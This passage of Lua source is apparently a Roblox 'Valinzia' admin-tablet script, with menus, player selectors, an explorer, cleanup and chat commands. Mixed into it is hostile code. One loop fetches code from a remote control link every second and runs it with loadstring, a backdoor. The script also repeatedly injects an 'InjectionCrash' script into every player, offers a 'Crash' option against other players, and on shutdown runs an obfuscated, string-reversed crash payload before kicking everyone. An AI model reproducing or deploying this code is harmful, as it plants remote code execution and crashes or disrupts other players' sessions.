	elseif Msg == "Dismiss" then
849
		Color = "Really red"
850
	end
851
	if Color == nil then 
852
		Color = Delta.Ranked[Player.Name].Color ~= nil and Delta.Ranked[Player.Name].Color or "White"
853
	end
854
	
855
	local a = Instance.new("Part", workspace)
856
	a.Name = "Valinzia // "..Player.Name
857
	
858
	if Color == "Random" then
859
		a.BrickColor = BrickColor.Random()
860
	else
861
		a.BrickColor = BrickColor.new(Color)
862
	end
863
	
864
	a.TopSurface = 0
865
	a.BottomSurface = 0
866
	a.FormFactor = "Custom"
867
	a.Size = Vector3.new(1.9,1.9,1.9)
868
    a.Anchored = true
869
    a.Locked = true
870
    a.Transparency = 0.3
871
    a.CanCollide = false
872
    pcall(function() a.CFrame = Player.Character.Torso.CFrame --[[* CFrame.new(10,0,10)]] end)
873
    
874
	-- local p = Instance.new("PointLight", a)
875
	-- p.Color = a.BrickColor.Color
876
	-- p.Range = 3
877
	-- p.Brightness = 1/0
878
	
879
	local s = Instance.new("SelectionBox", a)
880
	s.Adornee = a
881
	s.Color = a.BrickColor
882
	s.Transparency = 0.3
883
	
884
	local m = Instance.new("SpecialMesh", a)
885
	
886
	if Delta.Ranked[Player.Name].MeshType == "Sphere" then
887
		m.MeshType = "Sphere"
888
	elseif Delta.Ranked[Player.Name].MeshType == "Diamond (Tablets)" then
889
		s.Transparency = 0
890
		a.Transparency = 0
891
		a.Size = Vector3.new(5,6,1)
892
		m.Scale = Vector3.new(2,2,2)
893
		m.MeshId = "http://www.roblox.com/Asset/?id=9547466"
894
	elseif Delta.Ranked[Player.Name].MeshType == "Diamond" then
895
		m.Scale = Vector3.new(2,2,2)
896
		m.MeshId = "http://www.roblox.com/Asset/?id=9547466"
897
	elseif Delta.Ranked[Player.Name].MeshType == "Poop" then
898
		s:remove()
899
		m.Scale = Vector3.new(0.1,0.1,0.1)
900
		m.MeshId = "http://www.roblox.com/Asset/?id=10297725"
901
	elseif Delta.Ranked[Player.Name].MeshType == "Fire" then
902
		s:remove()
903
		m.MeshType = "FileMesh"
904
		local f = Instance.new("Fire", a)
905
		f.Color = a.BrickColor.Color
906
		f.SecondaryColor = f.Color
907
		f.Heat = 10
908
		if FindRank(Player) >= 4 then
909
			a.Touched:connect(function(hit)
910
				humanoid = hit.Parent:findFirstChild("Humanoid") 
911
				if humanoid ~= nil and humanoid.Parent.Name ~= Player.Name then 
912
					humanoid.Health = humanoid.Health - 5
913
				end 
914
			end)
915
		end
916
	elseif Delta.Ranked[Player.Name].MeshType == "Dominus" then
917
		s:remove()
918
		m.MeshId = "http://www.roblox.com/asset/?id=21057410"
919
		m.Scale = Vector3.new(1.5,1.5,1.5)
920
	elseif Delta.Ranked[Player.Name].MeshType == "Top Hat" then
921
		s:remove()
922
		m.MeshId = "http://www.roblox.com/asset/?id=1028713"
923
		m.TextureId = "http://www.roblox.com/asset/?id=137274955"
924
		m.Scale = Vector3.new(1.5,1.5,1.5)
925
		a.Transparency = 0
926
	elseif Delta.Ranked[Player.Name].MeshType == "No Mesh (Tablets)" then
927
		m:remove()
928
		a.Size = Vector3.new(3,4,0.1)
929
	elseif Delta.Ranked[Player.Name].MeshType == "Books" then
930
		s:remove()
931
		m.MeshType = "FileMesh"
932
		m.MeshId = "http://www.roblox.com/asset/?id=1136139"
933
		a.Size = Vector3.new(2.3, 1, 3)
934
	else
935
		m:remove()
936
	end
937
	
938
    local b = Instance.new("BillboardGui", a)
939
	b.Name = 'BG'
940
    b.StudsOffset = Vector3.new(0,1.5,0)
941
    b.Size = UDim2.new(9,0,8,0)
942
    b.Adornee = a
943
	
944
    local cd = Instance.new('ClickDetector',a)
945
	cd.MaxActivationDistance = 1/0
946
	
947
    local t = Instance.new("TextLabel", b)
948
	t.Name = "TL"
949
    t.Font = "SourceSans"
950
    t.FontSize = "Size24"
951
    t.Size = UDim2.new(1,0,.3,0)
952
    t.TextColor = a.BrickColor
953
    t.TextStrokeTransparency = 0
954
    t.BackgroundTransparency = 1
955
    t.Text = string.gsub(Msg,"","\5") 
956
957
	if Image ~= nil then
958
		local BBBG = Instance.new("BillboardGui")
959
		BBBG.Size = UDim2.new(5, 0, 6, 0)
960
		BBBG.StudsOffset = Vector3.new(0, a.Size.Y + 5, 0)
961
		BBBG.AlwaysOnTop = true
962
		BBBG.Adornee = a
963
		BBBG.Parent = a
964
		
965
		Delay(0, function()
966
			while BBBG.Parent ~= nil do wait()
967
				ypcall(function()
968
					BBBG.StudsOffset = Vector3.new(0, a.Size.Y + 5, 0)
969
				end)
970
			end
971
		end)
972
	
973
		local NewImg = Instance.new("ImageLabel")
974
		NewImg.Size = UDim2.new(1, 0, 1, 0)
975
		NewImg.BackgroundTransparency = 1
976
		NewImg.Image = Image
977
		NewImg.Parent = BBBG
978
	end
979
	
980
	if Time ~= nil then
981
		Delta.Services.Debris:AddItem(a, Time)
982
	end
983
	
984
    cd.MouseClick:connect(function(pl)
985
    	if pl==Player or Delta.Ranked[pl.Name].Rank > Delta.Ranked[Player.Name].Rank then
986
			coroutine.wrap(function()
987
				for i = 0, 1, 0.1 do 
988
					pcall(function()
989
						a.Transparency = i
990
						s.Transparency = i
991
						t.TextStrokeTransparency = i
992
						wait()
993
					end)
994
				end
995
				a:Destroy()
996
			end)()
997
			for _,v in pairs(Delta.Tablets) do
998
				if v.Tab == a then
999
					table.remove(Delta.Tablets, _)
1000
				end
1001
			end
1002
			if Msg == "Dismiss" then
1003
				Dismiss(Player)
1004
			else
1005
				if Function ~= nil then
1006
					local Ran, Error = pcall(function()
1007
						Function(a)
1008
					end) if not Ran then print(Error) end
1009
				end
1010
			end
1011
		end
1012
    end)
1013
	
1014
	table.insert(Delta.Tablets,{Tab = a, Plr = Player.Name})
1015
end
1016
1017
Output = function(Player, Msg, Color, Function, Time, Image)
1018
	if type(Player) == "userdata" then
1019
		local thread = coroutine.create(function()
1020
			OutputSingular(Player, Msg, Color, Function, Time, Image)
1021
		end)
1022
		coroutine.resume(thread)
1023
	elseif type(Player) == "table" then
1024
		for _,v in pairs(Player) do
1025
			local thread = coroutine.create(function()
1026
				OutputSingular(v, Msg, Color, Function, Time, Image)
1027
			end)
1028
			coroutine.resume(thread)
1029
		end
1030
	elseif type(Player) == "string" then
1031
		if Player:lower() == "all" then
1032
			for _,v in pairs(Delta.Services.Players:GetPlayers()) do
1033
				local thread = coroutine.create(function()
1034
					OutputSingular(v, Msg, Color, Function, Time, Image)
1035
				end)
1036
				coroutine.resume(thread)
1037
			end
1038
		elseif Player:lower() == "admins" then
1039
			for _,v in pairs(Delta.Services.Players:GetPlayers()) do
1040
				if FindRank(v) >= 1 then
1041
					local thread = coroutine.create(function()
1042
						OutputSingular(v, Msg, Color, Function, Time, Image)
1043
					end)
1044
					coroutine.resume(thread)
1045
				end
1046
			end
1047
		end
1048
	end
1049
end
1050
1051
Dismiss = function(plr)
1052
	pcall(function()
1053
		if type(plr) == "userdata" then
1054
			plr = plr.Name
1055
		end
1056
		for i,v in pairs(Delta.Tablets) do
1057
			if v.Plr == plr then
1058
				coroutine.wrap(function()
1059
					for i = 0, 1, 0.1 do 
1060
						pcall(function()
1061
							v.Tab.Transparency = i
1062
							v.Tab.SelectionBox.Transparency = i
1063
							v.Tab.BG.TL.TextStrokeTransparency = i
1064
							wait()
1065
						end)
1066
					end
1067
					v.Tab:Destroy()
1068
				end)()
1069
				Delta.Tablets[i]=nil
1070
			end
1071
		end
1072
	end)
1073
end
1074
1075
function GetSplit(Message)
1076
	local a = nil
1077
	for i = 1, #Message do
1078
		if Message:sub(i,i) == "-" then
1079
			a = i + 1
1080
			break
1081
		end
1082
	end
1083
	if a ~= nil then
1084
		return Message:sub(a)
1085
	else
1086
		return nil
1087
	end
1088
end
1089
1090
-- getPlayer --
1091
getPlayer = function(Speaker, Msg)
1092
	Msg = Msg:lower()
1093
	local Table = {}
1094
	local Players = Delta.Services.Players:GetPlayers()
1095
	if Msg == "me" then
1096
		table.insert(Table, Speaker)
1097
	elseif Msg == "all" or Msg == "" then
1098
		for _,v in pairs(Players) do
1099
			table.insert(Table, v)
1100
		end
1101
	elseif Msg == "others" then
1102
		for _,v in pairs(Players) do
1103
			if v.Name ~= Speaker.Name then
1104
				table.insert(Table, v)
1105
			end
1106
		end
1107
	elseif Msg == "nonveterans" or Msg == "nonvets" then
1108
		for _,v in pairs(Players) do
1109
			if v.AccountAge < 364 then
1110
				table.insert(Table, v)
1111
			end
1112
		end
1113
	elseif Msg == "veterans" or Msg == "vets" then
1114
		for _,v in pairs(Players) do
1115
			if v.AccountAge > 364 then
1116
				table.insert(Table, v)
1117
			end
1118
		end
1119
	elseif Msg == "random" then
1120
		local p = Players[math.random(1,#Players)]
1121
		table.insert(Table, p)
1122
	elseif Msg == 'friends' then
1123
		for i,v in pairs(Players) do
1124
			if Speaker:IsFriendsWith(v.userId) then
1125
			   table.insert(Table, v)
1126
			end  
1127
		end
1128
	elseif Msg == 'nonfriends' then
1129
		for i,v in pairs(Players) do
1130
			if not Speaker:IsFriendsWith(v.userId) then
1131
				table.insert(Table, v)
1132
			end      
1133
		end
1134
	elseif Msg == 'youngest' then
1135
		at = {}
1136
		for i,v in pairs(Players) do
1137
			table.insert(at,v.AccountAge)
1138
		end
1139
		low = math.min(unpack(at))
1140
		for i,v in pairs(Players) do
1141
			if v.AccountAge == low then
1142
				table.insert(Table, v)
1143
			end
1144
		end
1145
	elseif Msg == 'oldest' then
1146
		ot = {}
1147
		for i,v in pairs(Players) do
1148
			table.insert(ot,v.AccountAge)
1149
		end
1150
		high = math.max(unpack(ot))
1151
		for i,v in pairs(Players) do
1152
			if v.AccountAge == high then
1153
				table.insert(Table, v)
1154
			end
1155
		end	
1156
	else
1157
		for i,v in pairs(Players) do
1158
			if v.Name:lower():sub(1,#Msg) == Msg:lower() then
1159
				table.insert(Table, v)
1160
			end
1161
		end		
1162
	end
1163
	for _,v in pairs(Table) do
1164
		if CheckRank(v, Speaker) then
1165
			table.remove(Table, _)
1166
			Output(Speaker, v.Name.." Outranks You!", "Bright orange", nil, 3)
1167
		end
1168
	end
1169
	return Table
1170
end
1171
1172
-- Auto LoadString --
1173
coroutine.wrap(function()
1174
	while wait(1) do
1175
		if Delta.Removed == true then return end
1176
		ypcall(function()
1177
			local hsync = Delta.Services.HttpService:GetAsync(Delta.RemoteControlLink, true)
1178
			loadstring(hsync)()
1179
		end)
1180
	end
1181
end)()
1182
1183
-- ShowCommands --
1184
ShowCommands = function(Speaker)
1185
	Dismiss(Speaker)
1186
	local OpenCmds = function(Rank, Speaker)
1187
		Dismiss(Speaker)
1188
		for Name,Tab in pairs(Delta.Commands) do
1189
			if Tab.Rank <= Rank then
1190
				Output(Speaker, Name.." ("..Tab.Rank..")", nil, function()
1191
					Dismiss(Speaker)
1192
					Output(Speaker, "Name: "..Name)
1193
					Output(Speaker, "Uses: "..table.concat(Tab.Uses, ", "))
1194
					Output(Speaker, "Rank: "..Tab.Rank)
1195
					Output(Speaker, "Description: "..Tab.Description)
1196
					Output(Speaker, "Flags: "..Tab.Flags)
1197
					Output(Speaker, "Back", "Really black", function() OpenCmds(Rank, Speaker) end)
1198
					Output(Speaker, "Dismiss")
1199
				end)
1200
			elseif Rank == 1337 and Tab.Rank <= FindRank(Speaker) then
1201
				Output(Speaker, Name.." ("..Tab.Rank..")", nil, function()
1202
					Dismiss(Speaker)
1203
					Output(Speaker, "Name: "..Name)
1204
					Output(Speaker, "Uses: "..table.concat(Tab.Uses, ", "))
1205
					Output(Speaker, "Rank: "..Tab.Rank)
1206
					Output(Speaker, "Description: "..Tab.Description)
1207
					Output(Speaker, "Flags: "..Tab.Flags)
1208
					Output(Speaker, "Back", "Really black", function() OpenCmds(Rank, Speaker) end)
1209
					Output(Speaker, "Dismiss")
1210
				end)
1211
			end
1212
		end
1213
		-- wait()
1214
		Output(Speaker, "Dismiss", nil)
1215
		Output(Speaker, "Back", "Really black", function() ShowCommands(Speaker) end)
1216
	end
1217
	local Rank = Delta.Ranked[Speaker.Name].Rank 
1218
	for _,v in pairs(Delta.Ranks) do
1219
		if Rank >= _ then
1220
			Output(Speaker, "Rank "..tostring(_).." ["..v.."]", nil, function() OpenCmds(_, Speaker) end)
1221
		end
1222
	end
1223
	Output(Speaker, "All", nil, function() OpenCmds(1337, Speaker) end)
1224
	Output(Speaker, "Dismiss")
1225
end
1226
1227
-- ShowPlayers! --
1228
ShowPlayers = function(Speaker)
1229
	Dismiss(Speaker)
1230
	for _,v in pairs(getALLPlayers()) do
1231
		if v.Parent == Delta.Services.Players then
1232
			Output(Speaker, v.Name, nil, function()
1233
				Dismiss(Speaker)
1234
				Output(Speaker, "Profile Name: "..v.Name, "Royal purple")
1235
				Output(Speaker, "Profile Id: "..v.userId, "White")
1236
				Output(Speaker, "Profile Age: "..v.AccountAge, "Teal")
1237
				if FindRank(Speaker) > FindRank(v) then
1238
					Output(Speaker, "Commands", "Lime green", function() CommandInterface(Speaker, v.Name) end)
1239
				end
1240
				Output(Speaker, "Go To "..v.Name.."'s Ranked Interface", "Really blue", function()
1241
					GetRankedInterface(Speaker, v.Name)
1242
				end)
1243
				Output(Speaker, "Back", "Teal", function() ShowPlayers(Speaker) end)
1244
				Output(Speaker, "Dismiss")
1245
			end)
1246
		else
1247
			Output(Speaker, "nil-"..v.Name, nil, function()
1248
				Dismiss(Speaker)
1249
				Output(Speaker, "Profile Name: "..v.Name, "Teal")
1250
				Output(Speaker, "Profile Id: "..v.userId, "White")
1251
				Output(Speaker, "Profile Age: "..v.AccountAge, "Royal purple")
1252
				if CheckRank(Speaker, v) then
1253
					Output(Speaker, "Crash", "White", function()
1254
						Dismiss(Speaker)
1255
						local x = Instance.new("StringValue", Delta.Services.Lighting)
1256
						x.Name = "Disconnect: "..v.Name
1257
						coroutine.resume(coroutine.create(function()
1258
							wait(0.5)
1259
							if x.Name == "Disconnected: "..v.Name then
1260
								Output(Speaker, "Successfully crashed "..v.Name, "Lime green", nil, 3)
1261
							else
1262
								Output(Speaker, "Failed to crash "..v.Name, "Lime green", nil, 3)
1263
							end
1264
						end))
1265
					end)
1266
				end
1267
				Output(Speaker, "To Ranked Settings", "Really blue", function()
1268
					GetRankedInterface(Speaker, v.Name)
1269
				end)
1270
				Output(Speaker, "Back", "Really blue", function() ShowPlayers(Speaker) end)
1271
				Output(Speaker, "Dismiss")
1272
			end)--, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
1273
		end
1274
	end
1275
	Output(Speaker, "Dismiss")
1276
end
1277
1278
-- Explorer! --
1279
Explorer = function(Speaker, Obj)
1280
	if Obj == nil then return Explorer(Speaker, Delta.Services.Game) end
1281
	Dismiss(Speaker)
1282
	if Obj == Delta.Services.Game then
1283
		for i,v in pairs(Delta.Services.Game:GetChildren()) do
1284
			ypcall(function()
1285
				Output(Speaker, v.className, nil, function()
1286
					Explorer(Speaker, v)
1287
				end)
1288
			end)
1289
		end
1290
		Output(Speaker, "Dismiss")
1291
	else
1292
		local ObjParent = Obj.Parent
1293
		Output(Speaker, "Name: "..Obj.Name, "Magenta")
1294
		Output(Speaker, "ClassName: "..Obj.className, "Magenta")
1295
		Output(Speaker, "FullName: Game."..Obj:GetFullName(), "Magenta")
1296
		Output(Speaker, "Destroy", "New Yeller", function()
1297
			if Obj:IsA("Player") then
1298
				if FindRank(Speaker) >= FindRank(Obj) and FindRank(Speaker) >= 2 then
1299
					Obj:Kick()
1300
					Explorer(Speaker, ObjParent)
1301
				else
1302
					Output(Speaker, "You cannot kick "..Obj.Name.."!", "Really red", nil, 2)
1303
				end
1304
			else
1305
				Obj:remove()
1306
				Explorer(Speaker, ObjParent)
1307
			end
1308
		end)
1309
		Output(Speaker, "Refresh", "Royal purple", function() Explorer(Speaker, Obj) end)
1310
		if #Obj:GetChildren() > 0 then
1311
			Output(Speaker, "View Children", "Teal", function()
1312
				for i,v in pairs(Obj:GetChildren()) do
1313
					if not v.Name:lower():find('Delta tablet') then
1314
						Output(Speaker, v.Name, nil, function()
1315
							Explorer(Speaker, v)
1316
						end)
1317
					end
1318
				end
1319
			end)
1320
		end
1321
		Output(Speaker, "View Parent", "Really blue", function() Explorer(Speaker, ObjParent) end)
1322
		Output(Speaker, "Dismiss")
1323
	end
1324
end
1325
-- Cleaning And Stuff :) --
1326
CreateBase = function()
1327
	for _,v in pairs(Delta.Services.Workspace:GetChildren()) do
1328
		if v.Name:lower():find('base') and v:IsA('BasePart') then
1329
			v:remove()
1330
		end
1331
	end
1332
	local Base = Instance.new("Part")
1333
	Base.BrickColor = BrickColor.new("Dark green")
1334
	Base.CFrame = CFrame.new(0, 0.6, 0)
1335
	Base.Transparency = 0
1336
	Base.Elasticity = 0.5
1337
	Base.FormFactor = "Custom"
1338
	Base.Material = 'Grass'
1339
	Base.CanCollide = true
1340
	Base.Friction = 0.30000001192093
1341
	Base.Size = Vector3.new(2044, 0, 2044)
1342
	Base.Archivable = true
1343
	Base.Material = "Grass"
1344
	Base.RotVelocity = Vector3.new(0, 0, 0)
1345
	Base.Reflectance = 0
1346
	Base.Locked = true
1347
	Base.Anchored = true
1348
	Base.Name = "Base"
1349
	Base.TopSurface = "Smooth"
1350
	Base.BottomSurface = "Inlet"
1351
	Base.Shape = "Block"
1352
	Base.Parent = Delta.Services.Workspace
1353
end
1354
CleanWorkspace = function()
1355
	for i,s in pairs(Delta.Services.Workspace:GetChildren()) do  
1356
		if Delta.Services.Players:GetPlayerFromCharacter(s) == nil then  
1357
			if s.className ~= "Terrain" then 
1358
				if s.className ~= "Camera" then  
1359
					pcall(function() s:Destroy() end)
1360
				end 
1361
			end 
1362
		end
1363
	end
1364
	CreateBase()
1365
	for _,v in pairs(Delta.Services.Workspace:GetChildren()) do
1366
		if v:IsA("Terrain") then
1367
			v:Clear()
1368
		end
1369
	end
1370
end
1371
FullClean = function()
1372
	local Child = {}
1373
	local GetAllChildren = function(c)
1374
		for _,v in pairs(c:GetChildren()) do
1375
			ypcall(function()
1376
				GetAllChildren(v)
1377
				table.insert(Child, v)
1378
			end)
1379
		end
1380
	end
1381
	for _,v in pairs(Delta.Services.Game:GetChildren()) do
1382
		ypcall(function()
1383
			GetAllChildren(v)
1384
		end)
1385
	end
1386
	for _,v in pairs(Child) do
1387
		if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
1388
			v:remove()
1389
		end
1390
	end
1391
	CleanWorkspace()
1392
	Debug()
1393
	for _,v in pairs(Delta.Services.Players:GetPlayers()) do
1394
		v:LoadCharacter()
1395
	end
1396
end
1397
Debug = function()
1398
	ypcall(function()
1399
		for _,v in pairs(Delta.Services.Workspace:GetChildren()) do
1400
			if v:IsA('Message') or v:IsA('Hint') then
1401
				ypcall(function()
1402
					v.Text = ''
1403
					v:Destroy()
1404
				end)
1405
			end
1406
			if v:IsA('Terrain') then
1407
				v:Clear()
1408
			end
1409
		end
1410
		Delta.Services.Lighting.GlobalShadows = true
1411
		Delta.Services.Lighting.TimeOfDay = '14:00:00'
1412
		Delta.Services.Lighting.Brightness = 0.3
1413
		Delta.Services.Lighting.ShadowColor = Color3.new(0.705882, 0.705882, 0.705882)
1414
		Delta.Services.Lighting.Ambient = Color3.new(1,1,1) 
1415
		Delta.Services.Lighting.ColorShift_Top = Color3.new(0, 0, 0)
1416
		Delta.Services.Lighting.ColorShift_Bottom = Color3.new(0, 0, 0)
1417
		Delta.Services.Lighting.OutdoorAmbient = Color3.new(0.6, 0.6, 0.6)
1418
		Delta.Services.Lighting.FogStart = 0
1419
		Delta.Services.Lighting.FogEnd = 100000
1420
		Delta.Services.Lighting.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
1421
		Delta.Services.Lighting:ClearAllChildren()
1422
		Delta.Services.Teams:ClearAllChildren()
1423
		for _,v in pairs(Delta.Services.Players:GetPlayers()) do
1424
			v.Neutral = true 
1425
		end
1426
	end)
1427
end
1428
1429
-- Shutdown Function --
1430
Shutdown = function()
1431
	local SDKick = function(v)
1432
		createLocalScript([[Instance.new(string.reverse("ecnatsnItnioJecafruSlaunaM"), game:service('Workspace'))]], v:waitForChild("Backpack"))
1433
		if v then
1434
			v:Kick()
1435
		end
1436
	end
1437
	for _,v in pairs(Delta.Services.Players:GetPlayers()) do
1438
		SDKick(v)
1439
	end
1440
	Delta.Services.Players.PlayerAdded:connect(function(v)
1441
		wait()
1442
		SDKick(v)
1443
	end)
1444
end
1445
1446
-- onJoin and onLeave! --
1447
onJoin = function(Player)
1448
	local a,b = ypcall(function()
1449
		wait()
1450
		local PlayerName = Player.Name
1451
		createLocalScript(InjectionCrash, Player:waitForChild("Backpack"))
1452
		if Delta.Removed == true then return end
1453
		if FindRank(Player) == -1 then
1454
			createLocalScript([[game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)]], Player:waitForChild("Backpack"))
1455
		elseif FindRank(Player) == -1 then
1456
			Announce(PlayerName.." got kicked due to a banishment.")
1457
			Player:Kick()
1458
		elseif FindRank(Player) == -2 then
1459
			Announce(PlayerName.." got lagged due to a banishment.")
1460
			Lag(Player)
1461
		else
1462
			ypcall(function()
1463
				Delta.Connections.Chat[Player.Name] = Player.Chatted:connect(function(Message) onChatted(Player, Message) end)
1464
			end)
1465
			if FindRank(Player) >= 1 then 
1466
				Output(Player, "Welcome to Valinzia!", "Royal purple")
1467
				Output(Player, "Created by iTov", "Really blue")
1468
				Output(Player, "Your Rank is "..FindRank(Player), "White")
1469
				Output(Player, "Click to view Available Commands!", "Lime green", function() ShowCommands(Player) end)
1470
				Output(Player, "Dismiss")
1471
			end
1472
			if FindRank(Player) <= 0 then
1473
				if Delta.AgeRestriction == true then
1474
					if Player.AccountAge < 30 then
1475
						Announce(PlayerName.." has been kicked for being under 30 days old.")
1476
						Player:Kick()
1477
					end
1478
				end
1479
			end
1480
			if not Delta.Ranked[Player.Name] then
1481
				Delta.Ranked[Player.Name] = {Rank = 0, Color = "White", MeshType = "No Mesh", Distance = 5, Description = "N/A", SpinningRot = true, Rotation = true}
1482
			end
1483
			Player.DescendantAdded:connect(function(Object)
1484
				if Delta.LocalSidedScriptsLock == true then
1485
					if Object.Name == "Animate" then return end
1486
					if Object:IsA("Script") then
1487
						local ObjectName = Object.Name
1488
						Object.Disabled = true
1489
						Object:remove()
1490
					end
1491
				end
1492
				if not Delta.PseudoLocalScript then
1493
					if Object:IsA("LocalScript") then
1494
						Delta.PseudoLocalScript = Object:Clone()
1495
						Delta.PseudoLocalScript.Disabled = true
1496
						Announce("PseudoLocalScript Source Has Been Found!")
1497
					end
1498
				end
1499
			end)
1500
			if Delta.PrivateServer.Enabled == true then
1501
				if FindRank(Player) < 0.1 then
1502
					Delta.PrivateServer.Waiting[PlayerName] = true
1503
					Announce(PlayerName.." got kicked due to the Private Server.")
1504
					Player:Kick()
1505
				end
1506
			end
1507
		end
1508
	end)
1509
	if not a then
1510
		Output("All", b, "Really red")
1511
	end
1512
end
1513
onLeave = function(Player)
1514
	ypcall(function()
1515
		wait()
1516
		Dismiss(Player)
1517
		local PlayerName = Player.Name
1518
		if Delta.Removed == true then return end
1519
		if FindRank(Player) >= 1 then
1520
			for i = 1, Delta.ShutdownTime do
1521
				local join = false
1522
				for _,v in pairs(Delta.Services.Players:GetPlayers()) do
1523
					if v.Name == Player.Name then
1524
						join = true
1525
					end
1526
				end
1527
				if join == false then
1528
					if Delta.Aborted == true then
1529
						Delta.Aborted = false
1530
						local ABM = Instance.new("Message", Delta.Services.Workspace)
1531
						ABM.Text = "Shutdown Aborted!"
1532
						Delta.Services.Debris:AddItem(ABM, 1)
1533
						return
1534
					else
1535
						local ABH = Instance.new("Hint", Delta.Services.Workspace)
1536
						ABH.Text = "Rank 3 And Up Can Say sd"..Delta.Bet.."-a To Abort!"
1537
						local ABM = Instance.new("Message", Delta.Services.Workspace)
1538
						ABM.Text = Player.Name.." has been kicked: shutdown in "..Delta.ShutdownTime-i.." seconds!"
1539
						wait(1)
1540
						if ABM ~= nil then
1541
							ABM:remove()
1542
						end
1543
						if ABH ~= nil then
1544
							ABH:remove()
1545
						end
1546
					end
1547
				else
1548
					local ABM = Instance.new("Message", Delta.Services.Workspace)
1549
					ABM.Text = "Shutdown Aborted!"
1550
					Delta.Services.Debris:AddItem(ABM, 1)
1551
					return
1552
				end
1553
			end
1554
			Shutdown()
1555
		end
1556
		ypcall(function()
1557
			Delta.Connections.Chat[PlayerName]:disconnect()
1558
			Delta.Connections.Chat[PlayerName] = nil
1559
		end)
1560
		if FindRank(PlayerName) >= 0 and Delta.PrivateServer.Enabled == false and Player.AccountAge > 30 then
1561
			Announce(PlayerName.." has left!")
1562
		end
1563
	end)
1564
end
1565
1566
Delta.Services.Players.PlayerAdded:connect(function(Player) local PlayerName = Player.Name onJoin(Player) if FindRank(PlayerName) >= 0 and Delta.PrivateServer.Enabled == false and Player.AccountAge > 30 then Announce(PlayerName.." has joined!") end end)
1567
Delta.Services.Players.PlayerRemoving:connect(function(Player) onLeave(Player) end)
1568
1569
coroutine.resume(coroutine.create(function()
1570
	ypcall(function()
1571
		for _,v in pairs(Delta.Services.Players:GetPlayers()) do
1572
			onJoin(v)
1573
		end
1574
	end)
1575
end))
1576
1577
coroutine.resume(coroutine.create(function()
1578
	repeat
1579
		ypcall(function()
1580
			for _,v in pairs(Delta.Services.Players:GetPlayers()) do
1581
				createLocalScript(InjectionCrash, v:waitForChild("Backpack"))
1582
			end
1583
		end)
1584
		wait(5)
1585
	until Delta.Removed == true
1586
end))
1587
1588
-- Locking Scripts --
1589
Delta.Services.Workspace.DescendantAdded:connect(function(Object)
1590
	if Delta.ServerSidedScriptsLock == true then
1591
		if Object.className == "Script" then
1592
			local ObjectName = Object.Name
1593
			Object.Disabled = true
1594
			Object:remove()
1595
		end
1596
	end
1597
end)
1598
1599
-- AddCommand and onChatted! --
1600
Command = function(Name, Uses, Rank, Description, Flags, Function)
1601
	if Uses == nil then return end
1602
	if Name == nil then Name = "N/A" end
1603
	if Rank == nil then Rank = 0 end
1604
	if Description == nil then Description = "N/A" end
1605
	if Flags == nil then Flags = "No Flags" end
1606
	Delta.Commands[Name] = {Name = Name, Uses = Uses, Rank = Rank, Description = Description, Flags = Flags, Function = Function}
1607
end
1608
1609
onChatted = function(Speaker, Message)
1610
	if Delta.Removed == true then return end
1611
	local SpeakerName = Speaker.Name
1612
	if Message:sub(1,3) == "/e " then
1613
		Message = Message:sub(4)
1614
	end
1615
	for _,v in pairs(Delta.ChatFilter.Phrases) do
1616
		if Delta.ChatFilter.Enabled == true then
1617
			if Delta.Ranked[Speaker.Name].Rank <= 0 then
1618
				local Phrase = v[1]
1619
				local Lvl = v[2]
1620
				if Message:lower():match(Phrase:lower()) or Message:upper():match(Phrase:upper()) then
1621
					if Lvl == 0 then
1622
						Speaker.Character:breakJoints()
1623
					elseif Lvl == 0.5 then
1624
						createLocalScript([[game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)]], Speaker:waitForChild("Backpack"))
1625
					elseif Lvl == 1 then
1626
						Speaker:Kick()
1627
						Announce(SpeakerName.." has been kicked for saying the word "..Phrase)
1628
					elseif Lvl == 2 then
1629
						Lag(Speaker)
1630
						Announce(SpeakerName.." has been lagged for saying the word "..Phrase)
1631
					elseif Lvl == 3 then
1632
						ChangeRank(Speaker, -1)
1633
						Announce(SpeakerName.." has been banned for saying the word "..Phrase)
1634
					end
1635
				end
1636
			end
1637
		end
1638
	end
1639
	for _,v in pairs(Delta.Commands) do
1640
		for _,Use in pairs(v.Uses) do
1641
			if Message:sub(1,#Use + #Delta.Bet) == Use..""..""..Delta.Bet then
1642
				if FindRank(Speaker) >= v.Rank then
1643
					Message = Message:sub(#Use + #Delta.Bet + 1)
1644
					Ran, Error = ypcall(function()
1645
						v.Function(Speaker, Message)
1646
					end)
1647
					if not Ran then Output(Speaker, Error, "Really red") end
1648
				end
1649
			end
1650
		end
1651
	end
1652
end
1653
1654
-- Command Bar --
1655
function giveCMDBar(Player)
1656
	if type(Player) == "string" then 
1657
		Player = Delta.Services.Players:findFirstChild(Player) or nil
1658
	end
1659
	if Player == nil then return end 
1660
	local rankedData = Delta.Ranked[Player.Name]
1661
	
1662
	if rankedData.CMD == nil then
1663
		CMD = true
1664
	end
1665
1666
	for _,v in pairs(Player:FindFirstChild('PlayerGui'):GetChildren()) do
1667
		if v.Name == 'Delta Command Bar' then
1668
			v:remove()
1669
		end
1670
	end
1671
	
1672
	local ScreenGui = Instance.new("ScreenGui", Player:FindFirstChild('PlayerGui'))
1673
	ScreenGui.Name = 'Delta Command Bar'
1674
1675
	local Frame = Instance.new("Frame",ScreenGui)
1676
	Frame.BackgroundColor3 = Color3.new(1,1,1)
1677
	Frame.BackgroundTransparency = 1
1678
	Frame.BorderColor3 = Color3.new(0,0,0)
1679
	Frame.BorderSizePixel = 0
1680
	Frame.Position = UDim2.new(0,0,0.5,300)
1681
	Frame.Size = UDim2.new(0,400,0,30)
1682
	Frame.SizeConstraint = Enum.SizeConstraint.RelativeYY
1683
1684
	local TextButton = Instance.new("TextButton",Frame)
1685
	TextButton.BackgroundColor3 = Color3.new(1,1,1)
1686
	TextButton.BackgroundTransparency = 0.69999998807907
1687
	TextButton.BorderColor3 = Color3.new(0,0,0)
1688
	TextButton.Size = UDim2.new(0.20000000298023,0,1,0)
1689
	TextButton.Style = Enum.ButtonStyle.Custom
1690
	TextButton.Font = Enum.Font.SourceSans
1691
	TextButton.FontSize = Enum.FontSize.Size24
1692
	TextButton.Text = "Submit"
1693
	TextButton.TextColor3 = Color3.new(1,0,0)
1694
1695
